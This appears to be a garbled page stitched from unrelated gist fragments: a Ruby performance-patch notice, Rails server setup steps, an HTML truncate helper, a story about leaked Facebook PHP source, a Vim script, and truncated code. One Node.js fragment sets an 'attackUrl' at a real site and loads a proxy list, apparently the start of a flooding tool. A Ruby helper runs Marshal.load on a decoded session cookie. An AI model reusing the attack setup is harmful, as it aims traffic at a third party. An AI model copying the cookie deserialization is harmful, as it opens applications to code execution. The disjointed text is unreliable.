NOTE: THIS PATCH DOES NOT APPLY. Falcon's performance patches have not been updated for p362. See the comments for a fork that uses the Rails Express patch set instead.

ruby-1.9.3-p362 cumulative performance patch for rbenv

This installs a patched ruby 1.9.3-p362 with various performance improvements and a backported COW-friendly GC, all courtesy of funny-falcon.

Requirements

Ubuntu 12.04, Ruby, Rails, Nginx, Unicorn and git-deploy

In the seemlingly endless search for the actual correct and easy way to deploy a Rails app, we have tried several ways. We tried out using Apache2 and running a cluster of Thin servers. With the built in threading of Puma we decided to use it with Nginx.

Server Setup

Create new server
Login to new server
- ssh root@IPaddress (you can also use the domain name if you have the DNS setup already)
- accept the RSA key

Rails has a handy truncate helper (which is actually mostly a method added to String ), but it warns you it's not safe to use on html source, it'll cut off end tags and such.

What if you want an HTML safe one? There are a variety of suggested solutions you can google, none of which were quite robust/powerful enough for me.

So I started with my favorite, by Andrea Singh, using nokogiri.

But:

I modified it to not monkey-patch Nokogiri, but be a static method instead (sadly making already confusing code yet more confusing, but I didn't want to monkey patch nokogiri)

In August 2007 a hacker found a way to expose the PHP source code on facebook.com. He retrieved two files and then emailed them to me, and I wrote about the issue:

http://techcrunch.com/2007/08/11/facebook-source-code-leaked/

It became a big deal:

http://www.techmeme.com/070812/p1#a070812p1

The two files are index.php (the homepage) and search.php (the search page)

	" About:
	"
	" How often do you forget which keys you should use to select/modify strings
	" in the ' or " or in other pairs? I often use viw/ciw instead of vi'/vi" for
	" the first time because it easier for my fingers (but after that I remember
	" about vi'). This script allows you always use the same shortcut for all
	" cases. When you want to select string in the ' use viv. Do you want to
	" select all in the '()'? Use viv. All in the '[]'? Use viv.
	"
	" How it works:

	var request = require('request'),
	util = require('util'),
	fs = require('fs'),
	events = require('events');

	var attackUrl = 'http://ispi.ru/';
	var proxyLists = [];
	var proxyFile = __dirname+'/proxylist.txt';
	var e = new events.EventEmitter;

	require 'base64'
	require 'cgi'

	def show_session(cookie)
	Marshal.load(Base64.decode64(CGI.unescape(cookie.split("\n").join).split('--').first))
	end

	var extend = function(child, parent) {
	for (var key in parent) {
	if(parent.hasOwnProperty(key)) child[key] = parent[key];
	}

	function ctor() {
	this.constructor = child;
	}

	ctor.prototype = parent.prototype;
